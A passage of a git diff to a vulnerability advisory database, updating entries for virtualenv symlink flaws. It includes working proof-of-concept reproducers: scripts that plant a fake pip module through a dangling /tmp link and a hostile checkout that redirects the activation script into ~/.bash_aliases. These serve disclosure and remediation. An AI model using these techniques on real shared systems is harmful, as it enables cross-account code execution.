0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-494p-63j8-28p3/GHSA-494p-63j8-28p3.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113714"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3430"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-354"],"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:25:22Z","nvd_published_at":"2026-10-20T19:17:34Z","severity":"LOW"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"}]} \ No newline at end of file diff --git a/data/PyPI/GHSA-4f8h-vr72-p32c.json b/data/PyPI/GHSA-4f8h-vr72-p32c.json index eb414e5e8e..7da6e91459 100644 --- a/data/PyPI/GHSA-4f8h-vr72-p32c.json +++ b/data/PyPI/GHSA-4f8h-vr72-p32c.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-4f8h-vr72-p32c","published":"2026-10-23T22:26:57Z","modified":"2026-10-29T10:55:30.640343852Z","aliases":["BIT-virtualenv-2026-113713","CVE-2026-113713"],"summary":"virtualenv: Temporary app-data can leave dangling seed package links","details":"## Summary\n\nThe app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation\nfinishes. The environment-variable and configuration-file forms of `symlink_app_data` can enable this state even though\nthe command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its\nowner no longer controls.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-ZOE2GEPC` in `virtualenv-20261015-005`, received on 15 October 2026.\nThis draft records source review and functional remediation checks. The reporter's cross-account code-execution claim\nhas not been independently reproduced.\n\n## Affected area\n\nIntegrity of app-data references after temporary cache cleanup.\n\n## Attacker-controlled input\n\nSymlink seeding must be enabled through `VIRTUALENV_SYMLINK_APP_DATA` or `symlink_app_data` in the configuration file,\nand app-data setup must fall back to a temporary directory. A missing or unwritable configured cache can cause that\nfallback. Ordinary copy seeding does not leave these references.\n\nThe security concern requires a shared temporary-directory parent where another account can acquire the deleted cache\npathname, followed by use of the affected environment. That account need not already be able to modify the environment\nor the private cache while it exists. This differs from the security policy's excluded case of an account that already\ncontrols live app-data contents. On a platform with a temporary-directory parent private to the environment owner, that\ncross-account condition is absent. Windows functional checks do not establish cross-account exposure under Windows\ndefaults.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[symlink seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/via_app_data.py),\n[temporary cache cleanup](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/app_data/via_tempdir.py).\n\n## Mechanism\n\nWhen app-data setup falls back to a temporary directory, the command-line `--symlink-app-data` action is disabled. A\nvalue supplied by `VIRTUALENV_SYMLINK_APP_DATA` or `virtualenv.ini` can still become the parser default, and the seeder\nconstructor accepts that value without rechecking the cache lifetime. It links `site-packages/pip` into the temporary\ncache. Session cleanup deletes that cache, leaving a dangling link whose pathname can later be claimed by another\naccount on a shared temporary filesystem.\n\n## Reproduction and evidence\n\nThe scanner ran its reproduction as two unprivileged users, with root used only to switch identities. The environment\nowner had an unwritable home, so app-data fell back to `/tmp`. The control used the command-line flag and received a\nreal pip directory. With `VIRTUALENV_SYMLINK_APP_DATA=1`, the new environment instead contained a `pip` link into a\ndeleted `/tmp/tmpXXXXXXXX` directory. A second uid recreated the target path and placed a fake `pip/__init__.py` there.\nWhen the owner ran `venv/bin/pip --version`, that module created a marker inside the owner's environment and printed\n`this is not pip`.\n\nThe cross-account path requires a shared temporary parent, a second account able to claim the deleted name, and later\nuse of the environment. A private temporary parent removes that route. The report traces the incomplete temporary-cache\nguard to #1661, first released in 20.0.6.\n[Public fix PR #3437](https://github.com/pypa/virtualenv/pull/3437) copies packages whenever app-data is\ntemporary, whatever supplied the symlink option. The implementation review checked the remediation; it did not rerun the\ncross-account reproduction.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant U as Environment owner\n participant V as virtualenv seeder\n participant T as Temporary app-data in /tmp\n participant E as site-packages/pip link\n participant A as Other local account\n U->>V: VIRTUALENV_SYMLINK_APP_DATA=1 with unwritable home\n V->>T: create transient cache\n V->>E: link pip to cache path\n V->>T: delete cache at session exit\n A->>T: reclaim old name and plant fake pip\n U->>E: run bin/pip --version\n E->>T: import fake pip through stale link\n T-->>U: attacker's code runs as owner\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ZOE2GEPC`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport pwd\nimport shutil\nimport subprocess\nfrom pathlib import Path\n\nowner = pwd.getpwnam(\"nobody\") # home is /nonexistent: app-data cannot be created, so virtualenv uses a temporary one\nother_user_uid = 4242\nproject = Path(\"/srv/project\")\nother_user_files = Path(\"/var/tmp/other-user\")\n\n# set up: a project folder only the owner can write, and the other user's two files in a folder of their own\nshutil.rmtree(project, ignore_errors=True)\nshutil.rmtree(other_user_files, ignore_errors=True)\nproject.mkdir(mode=0o755)\nos.chown(project, owner.pw_uid, owner.pw_gid)\nshutil.copytree(\"/tmp/repro.d\", other_user_files)\nsubprocess.run([\"chown\", \"-R\", f\"{other_user_uid}:{other_user_uid}\", other_user_files], check=True)\n\nas_owner = {\"user\": owner.pw_uid, \"group\": owner.pw_gid, \"extra_groups\": [], \"cwd\": project}\nas_other_user = {\"user\": other_user_uid, \"group\": other_user_uid, \"extra_groups\": [], \"cwd\": \"/\"}\nowner_env = {\"HOME\": owner.pw_dir, \"PATH\": os.environ[\"PATH\"]}\nvirtualenv = [\"virtualenv\", \"--quiet\", \"--no-periodic-update\"]\n\n# control: --symlink-app-data on the command line is dropped while app-data is temporary, so pip is copied\nsubprocess.run([*virtualenv, \"--symlink-app-data\", \"control\"], env=owner_env, check=True, **as_owner)\ncontrol_pip = next(project.glob(\"control/lib/python*/site-packages/pip\"))\nprint(f\"CONTROL --symlink-app-data: {control_pip} is a symlink: {control_pip.is_symlink()}\")\n\n# trigger: the same setting through the environment variable\nsymlink_env = {**owner_env, \"VIRTUALENV_SYMLINK_APP_DATA\": \"1\"}\nsubprocess.run([*virtualenv, \"venv\"], env=symlink_env, check=True, **as_owner)\nvenv_pip = next(project.glob(\"venv/lib/python*/site-packages/pip\"))\nprint(f\"OBSERVED VIRTUALENV_SYMLINK_APP_DATA=1: {venv_pip} is a symlink: {venv_pip.is_symlink()}\")\n\n# attack: the other user re-creates the deleted folder the link points into\nif venv_pip.is_symlink():\n print(f\"OBSERVED it points to {os.readlink(venv_pip)}, which exists: {venv_pip.exists()}\")\n subprocess.run([\"python3\", other_user_files / \"plant_fake_pip.py\", venv_pip], check=True, **as_other_user)\n\n# the owner uses their environment\npip_version = subprocess.run([project / \"venv/bin/pip\", \"--version\"], env=owner_env, capture_output=True, text=True, **as_owner)\nprint(f\"OBSERVED venv/bin/pip --version, run by uid {owner.pw_uid}, printed: {(pip_version.stdout + pip_version.stderr).strip()}\")\n\n# check: fake_pip.py writes this file into the environment folder, which uid 4242 cannot write\nvenv_stat = os.stat(project / \"venv\")\nprint(f\"OBSERVED {project / 'venv'} has mode {oct(venv_stat.st_mode & 0o777)} and owner uid {venv_stat.st_uid}\")\nproof = project / \"venv/attacker-code-ran\"\nprint(f\"OBSERVED {proof} exists: {proof.exists()}\")\nif proof.exists():\n print(f\"OBSERVED it is owned by uid {proof.stat().st_uid} and says: {proof.read_text()}\")\nprint(\"BUG\" if proof.exists() and proof.stat().st_uid == owner.pw_uid else \"OK\")\n```\n\n**`repro.d/fake_pip.py`**\n\n```text\n# planted as pip/__init__.py: runs in whichever process imports pip\nimport os\nimport sys\n\nwith open(os.path.join(sys.prefix, \"attacker-code-ran\"), \"w\") as proof:\n proof.write(f\"{os.path.realpath(__file__)}, owned by uid {os.stat(__file__).st_uid}, was imported by uid {os.getuid()}\")\n\nsys.exit(\"this is not pip\")\n```\n\n**`repro.d/plant_fake_pip.py`**\n\n```text\nimport os\nimport shutil\nimport sys\nfrom pathlib import Path\n\ndangling_link = sys.argv[1] # the environment is world-readable, so anyone can read where its links go\ndeleted_folder = Path(os.readlink(dangling_link))\n\n# virtualenv deleted /tmp/tmpXXXXXXXX when it exited, so the name is free for anyone to take\ndeleted_folder.mkdir(parents=True)\nshutil.copy(Path(__file__).with_name(\"fake_pip.py\"), deleted_folder / \"__init__.py\")\n```\n\n## Impact\n\nSeed packages become unavailable after temporary-cache cleanup. With a shared temporary-directory parent, a later\npackage load can follow the stale cache reference into a pathname another account has acquired. A private\ntemporary-directory parent prevents that cross-account condition.\n\nSeverity: low.\n\n## Versions tested\n\nThe reproduced release is 21.14.8. The vulnerable seeder path is unchanged in 21.14.9. The affected range starts at\n21.14.8, the first release confirmed here; earlier releases may also be affected. No fixed release is available.\n\nThe reporter identifies 20.0.6 as the first affected release. Commit\n[c3453b6c](https://github.com/pypa/virtualenv/commit/c3453b6c381d28377c8e0115bf1124b2ca7b3c2b), first included in\n20.0.6, contains the incomplete transient-cache guard. Historical runtime behavior across that range remains unverified.\n\nThe proposed fix copies seed packages whenever app-data is temporary, including when symlink seeding was selected\nthrough environment variables or configuration. The environment then remains usable after cache cleanup.\n\nProposed fix: [PR #3437](https://github.com/pypa/virtualenv/pull/3437).\n\n## Known mitigation\n\nThe proposed fix is in [public PR #3437](https://github.com/pypa/virtualenv/pull/3437).\n\nThe fix checks the selected app-data lifetime in the seeder constructor and always copies from temporary app-data,\nregardless of where the symlink option came from. Persistent caches retain symlink seeding.\n\nUntil a fixed release is available, disable symlink seeding in configuration and environment variables, or provide a\nwritable persistent cache private to the environment owner. Recreate affected environments after correcting those\nsettings. No fixed release is available yet.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8. The same vulnerable code remains in 21.14.9.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-ZOE2GEPC.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"21.14.8"},{"fixed":"21.14.10"}]}],"versions":["21.14.8","21.14.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-4f8h-vr72-p32c/GHSA-4f8h-vr72-p32c.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-4f8h-vr72-p32c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113713"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3437"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/b81995c3feab9e1edb453c75ffc6616e1a77335e"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.10"}],"database_specific":{"cwe_ids":["CWE-377"],"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:26:57Z","nvd_published_at":"2026-10-20T19:17:33Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-4f8h-vr72-p32c","published":"2026-10-23T22:26:57Z","modified":"2026-11-18T12:10:36.831511269Z","aliases":["BIT-virtualenv-2026-113713","CVE-2026-113713","PYSEC-2026-4372"],"summary":"virtualenv: Temporary app-data can leave dangling seed package links","details":"## Summary\n\nThe app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation\nfinishes. The environment-variable and configuration-file forms of `symlink_app_data` can enable this state even though\nthe command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its\nowner no longer controls.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-ZOE2GEPC` in `virtualenv-20261015-005`, received on 15 October 2026.\nThis draft records source review and functional remediation checks. The reporter's cross-account code-execution claim\nhas not been independently reproduced.\n\n## Affected area\n\nIntegrity of app-data references after temporary cache cleanup.\n\n## Attacker-controlled input\n\nSymlink seeding must be enabled through `VIRTUALENV_SYMLINK_APP_DATA` or `symlink_app_data` in the configuration file,\nand app-data setup must fall back to a temporary directory. A missing or unwritable configured cache can cause that\nfallback. Ordinary copy seeding does not leave these references.\n\nThe security concern requires a shared temporary-directory parent where another account can acquire the deleted cache\npathname, followed by use of the affected environment. That account need not already be able to modify the environment\nor the private cache while it exists. This differs from the security policy's excluded case of an account that already\ncontrols live app-data contents. On a platform with a temporary-directory parent private to the environment owner, that\ncross-account condition is absent. Windows functional checks do not establish cross-account exposure under Windows\ndefaults.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[symlink seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/via_app_data.py),\n[temporary cache cleanup](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/app_data/via_tempdir.py).\n\n## Mechanism\n\nWhen app-data setup falls back to a temporary directory, the command-line `--symlink-app-data` action is disabled. A\nvalue supplied by `VIRTUALENV_SYMLINK_APP_DATA` or `virtualenv.ini` can still become the parser default, and the seeder\nconstructor accepts that value without rechecking the cache lifetime. It links `site-packages/pip` into the temporary\ncache. Session cleanup deletes that cache, leaving a dangling link whose pathname can later be claimed by another\naccount on a shared temporary filesystem.\n\n## Reproduction and evidence\n\nThe scanner ran its reproduction as two unprivileged users, with root used only to switch identities. The environment\nowner had an unwritable home, so app-data fell back to `/tmp`. The control used the command-line flag and received a\nreal pip directory. With `VIRTUALENV_SYMLINK_APP_DATA=1`, the new environment instead contained a `pip` link into a\ndeleted `/tmp/tmpXXXXXXXX` directory. A second uid recreated the target path and placed a fake `pip/__init__.py` there.\nWhen the owner ran `venv/bin/pip --version`, that module created a marker inside the owner's environment and printed\n`this is not pip`.\n\nThe cross-account path requires a shared temporary parent, a second account able to claim the deleted name, and later\nuse of the environment. A private temporary parent removes that route. The report traces the incomplete temporary-cache\nguard to #1661, first released in 20.0.6.\n[Public fix PR #3437](https://github.com/pypa/virtualenv/pull/3437) copies packages whenever app-data is\ntemporary, whatever supplied the symlink option. The implementation review checked the remediation; it did not rerun the\ncross-account reproduction.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant U as Environment owner\n participant V as virtualenv seeder\n participant T as Temporary app-data in /tmp\n participant E as site-packages/pip link\n participant A as Other local account\n U->>V: VIRTUALENV_SYMLINK_APP_DATA=1 with unwritable home\n V->>T: create transient cache\n V->>E: link pip to cache path\n V->>T: delete cache at session exit\n A->>T: reclaim old name and plant fake pip\n U->>E: run bin/pip --version\n E->>T: import fake pip through stale link\n T-->>U: attacker's code runs as owner\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ZOE2GEPC`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport pwd\nimport shutil\nimport subprocess\nfrom pathlib import Path\n\nowner = pwd.getpwnam(\"nobody\") # home is /nonexistent: app-data cannot be created, so virtualenv uses a temporary one\nother_user_uid = 4242\nproject = Path(\"/srv/project\")\nother_user_files = Path(\"/var/tmp/other-user\")\n\n# set up: a project folder only the owner can write, and the other user's two files in a folder of their own\nshutil.rmtree(project, ignore_errors=True)\nshutil.rmtree(other_user_files, ignore_errors=True)\nproject.mkdir(mode=0o755)\nos.chown(project, owner.pw_uid, owner.pw_gid)\nshutil.copytree(\"/tmp/repro.d\", other_user_files)\nsubprocess.run([\"chown\", \"-R\", f\"{other_user_uid}:{other_user_uid}\", other_user_files], check=True)\n\nas_owner = {\"user\": owner.pw_uid, \"group\": owner.pw_gid, \"extra_groups\": [], \"cwd\": project}\nas_other_user = {\"user\": other_user_uid, \"group\": other_user_uid, \"extra_groups\": [], \"cwd\": \"/\"}\nowner_env = {\"HOME\": owner.pw_dir, \"PATH\": os.environ[\"PATH\"]}\nvirtualenv = [\"virtualenv\", \"--quiet\", \"--no-periodic-update\"]\n\n# control: --symlink-app-data on the command line is dropped while app-data is temporary, so pip is copied\nsubprocess.run([*virtualenv, \"--symlink-app-data\", \"control\"], env=owner_env, check=True, **as_owner)\ncontrol_pip = next(project.glob(\"control/lib/python*/site-packages/pip\"))\nprint(f\"CONTROL --symlink-app-data: {control_pip} is a symlink: {control_pip.is_symlink()}\")\n\n# trigger: the same setting through the environment variable\nsymlink_env = {**owner_env, \"VIRTUALENV_SYMLINK_APP_DATA\": \"1\"}\nsubprocess.run([*virtualenv, \"venv\"], env=symlink_env, check=True, **as_owner)\nvenv_pip = next(project.glob(\"venv/lib/python*/site-packages/pip\"))\nprint(f\"OBSERVED VIRTUALENV_SYMLINK_APP_DATA=1: {venv_pip} is a symlink: {venv_pip.is_symlink()}\")\n\n# attack: the other user re-creates the deleted folder the link points into\nif venv_pip.is_symlink():\n print(f\"OBSERVED it points to {os.readlink(venv_pip)}, which exists: {venv_pip.exists()}\")\n subprocess.run([\"python3\", other_user_files / \"plant_fake_pip.py\", venv_pip], check=True, **as_other_user)\n\n# the owner uses their environment\npip_version = subprocess.run([project / \"venv/bin/pip\", \"--version\"], env=owner_env, capture_output=True, text=True, **as_owner)\nprint(f\"OBSERVED venv/bin/pip --version, run by uid {owner.pw_uid}, printed: {(pip_version.stdout + pip_version.stderr).strip()}\")\n\n# check: fake_pip.py writes this file into the environment folder, which uid 4242 cannot write\nvenv_stat = os.stat(project / \"venv\")\nprint(f\"OBSERVED {project / 'venv'} has mode {oct(venv_stat.st_mode & 0o777)} and owner uid {venv_stat.st_uid}\")\nproof = project / \"venv/attacker-code-ran\"\nprint(f\"OBSERVED {proof} exists: {proof.exists()}\")\nif proof.exists():\n print(f\"OBSERVED it is owned by uid {proof.stat().st_uid} and says: {proof.read_text()}\")\nprint(\"BUG\" if proof.exists() and proof.stat().st_uid == owner.pw_uid else \"OK\")\n```\n\n**`repro.d/fake_pip.py`**\n\n```text\n# planted as pip/__init__.py: runs in whichever process imports pip\nimport os\nimport sys\n\nwith open(os.path.join(sys.prefix, \"attacker-code-ran\"), \"w\") as proof:\n proof.write(f\"{os.path.realpath(__file__)}, owned by uid {os.stat(__file__).st_uid}, was imported by uid {os.getuid()}\")\n\nsys.exit(\"this is not pip\")\n```\n\n**`repro.d/plant_fake_pip.py`**\n\n```text\nimport os\nimport shutil\nimport sys\nfrom pathlib import Path\n\ndangling_link = sys.argv[1] # the environment is world-readable, so anyone can read where its links go\ndeleted_folder = Path(os.readlink(dangling_link))\n\n# virtualenv deleted /tmp/tmpXXXXXXXX when it exited, so the name is free for anyone to take\ndeleted_folder.mkdir(parents=True)\nshutil.copy(Path(__file__).with_name(\"fake_pip.py\"), deleted_folder / \"__init__.py\")\n```\n\n## Impact\n\nSeed packages become unavailable after temporary-cache cleanup. With a shared temporary-directory parent, a later\npackage load can follow the stale cache reference into a pathname another account has acquired. A private\ntemporary-directory parent prevents that cross-account condition.\n\nSeverity: low.\n\n## Versions tested\n\nThe reproduced release is 21.14.8. The vulnerable seeder path is unchanged in 21.14.9. The affected range starts at\n21.14.8, the first release confirmed here; earlier releases may also be affected. No fixed release is available.\n\nThe reporter identifies 20.0.6 as the first affected release. Commit\n[c3453b6c](https://github.com/pypa/virtualenv/commit/c3453b6c381d28377c8e0115bf1124b2ca7b3c2b), first included in\n20.0.6, contains the incomplete transient-cache guard. Historical runtime behavior across that range remains unverified.\n\nThe proposed fix copies seed packages whenever app-data is temporary, including when symlink seeding was selected\nthrough environment variables or configuration. The environment then remains usable after cache cleanup.\n\nProposed fix: [PR #3437](https://github.com/pypa/virtualenv/pull/3437).\n\n## Known mitigation\n\nThe proposed fix is in [public PR #3437](https://github.com/pypa/virtualenv/pull/3437).\n\nThe fix checks the selected app-data lifetime in the seeder constructor and always copies from temporary app-data,\nregardless of where the symlink option came from. Persistent caches retain symlink seeding.\n\nUntil a fixed release is available, disable symlink seeding in configuration and environment variables, or provide a\nwritable persistent cache private to the environment owner. Recreate affected environments after correcting those\nsettings. No fixed release is available yet.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8. The same vulnerable code remains in 21.14.9.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-ZOE2GEPC.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"21.14.8"},{"fixed":"21.14.10"}]}],"versions":["21.14.8","21.14.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-4f8h-vr72-p32c/GHSA-4f8h-vr72-p32c.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-4f8h-vr72-p32c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113713"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3437"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/b81995c3feab9e1edb453c75ffc6616e1a77335e"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.10"}],"database_specific":{"cwe_ids":["CWE-377"],"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:26:57Z","nvd_published_at":"2026-10-20T19:17:33Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"}]} \ No newline at end of file diff --git a/data/PyPI/GHSA-558c-9hv2-4prj.json b/data/PyPI/GHSA-558c-9hv2-4prj.json index 715ddb7f78..802f1cefbd 100644 --- a/data/PyPI/GHSA-558c-9hv2-4prj.json +++ b/data/PyPI/GHSA-558c-9hv2-4prj.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-558c-9hv2-4prj","published":"2026-10-22T17:03:12Z","modified":"2026-10-29T10:55:51.822936662Z","aliases":["BIT-virtualenv-2026-113721","CVE-2026-113721"],"summary":"virtualenv: Generated files can follow existing destination links","details":"## Summary\n\nGenerated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The\ntemplate writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the\nexisting path directly.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-XBEOCBS1` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nFinal file entries written during environment creation and seeding.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare file links in the destination before creation. The invoking user must have write\npermission at the linked target. The destination parent must remain controlled during creation; concurrent\nparent-directory replacement is a separate concern.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py),\n[configuration writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\n`ViaTemplateActivator._generate()` removes an existing output only when `Path.exists()` is true. A dangling symlink\ntherefore survives, and `write_bytes()` creates its target outside the environment. Other generated files have related\nfinal-entry behavior. `PyEnvCfg.write()` opens `pyvenv.cfg` without first replacing an existing link; a symlink or hard\nlink there can overwrite an existing target. These paths require a prepared destination tree and the invoking user's\npermission to write the linked target.\n\n## Reproduction and evidence\n\nThe scanner's project tree contains `venv/bin/activate -> ../../../.bash_aliases` and an executable `venv/bin/basename`.\nBefore creation, a new interactive bash does not create the marker. A plain `virtualenv venv` writes the activation\nscript through the dangling link, creating `~/.bash_aliases` as a regular file. Debian's stock `.bashrc` sources that\nfile; the next interactive bash adds `venv/bin` to `PATH` and the planted `basename` writes the marker. The reproducer\nchecks that the link remains, `~/.bash_aliases` appears, and the second shell executes the planted file. A separate\nmanual check links `pyvenv.cfg` to `~/.bashrc` and observes the latter replaced with generated configuration text.\n\nThe link lets creation write outside the requested environment. The attacker chooses the target path but the generated\nbytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not\narbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first\nreleased in 20.0.0b1. [PR #3431](https://github.com/pypa/virtualenv/pull/3431) replaces pre-existing output links and\nuses exclusive creation for generated text. It does not make a destination safe if another account can replace parent\ndirectories during creation.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared project tree\n participant V as virtualenv writer\n participant H as User home\n participant B as Next interactive bash\n A->>V: venv/bin/activate links to missing ~/.bash_aliases\n V->>V: Path.exists() follows link and returns false\n V->>H: write activation bytes through link\n H-->>B: ~/.bash_aliases now exists\n B->>H: .bashrc sources ~/.bash_aliases\n B->>A: PATH reaches planted venv/bin/basename\n A-->>B: marker created\n Note over V,H: pyvenv.cfg can also overwrite an existing linked target\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-XBEOCBS1`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\n\n# set up: a fresh home with Debian's stock ~/.bashrc, which sources ~/.bash_aliases when that file exists\nhome = tempfile.mkdtemp(prefix=\"home-\")\nshutil.copy(\"/etc/skel/.bashrc\", f\"{home}/.bashrc\")\nbash_aliases = f\"{home}/.bash_aliases\"\nmarker = f\"{home}/attacker-ran\"\nopen_terminal = [\"bash\", \"-i\", \"-c\", \"true\"]\nterminal_env = {\"HOME\": home, \"PATH\": \"/usr/bin:/bin\", \"TERM\": \"dumb\"}\n\n# the attacker's repository, cloned by the user to ~/proj\ncheckout = f\"{home}/proj\"\nsubprocess.run([sys.executable, \"/tmp/repro.d/make_hostile_checkout.py\", checkout], check=True)\nactivate = f\"{checkout}/venv/bin/activate\"\nprint(\"shipped: venv/bin/activate ->\", os.readlink(activate), flush=True)\n\n# a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns)\nsubprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)\nprint(\"before virtualenv: ~/.bash_aliases exists:\", os.path.lexists(bash_aliases), \"| marker exists:\", os.path.exists(marker), flush=True)\nassert not os.path.lexists(bash_aliases) and not os.path.exists(marker)\n\n# trigger: the user creates an environment in the checkout, then opens a new terminal\nsubprocess.run([\"virtualenv\", \"--no-periodic-update\", \"venv\"], cwd=checkout, env={**os.environ, \"HOME\": home}, check=True)\nsubprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)\n\n# check: the activation script belongs in venv/bin/activate; it must not be written through the link to ~/.bash_aliases\nprint(\"venv/bin/activate is still the symlink:\", os.path.islink(activate))\nwritten_outside = os.path.isfile(bash_aliases) and not 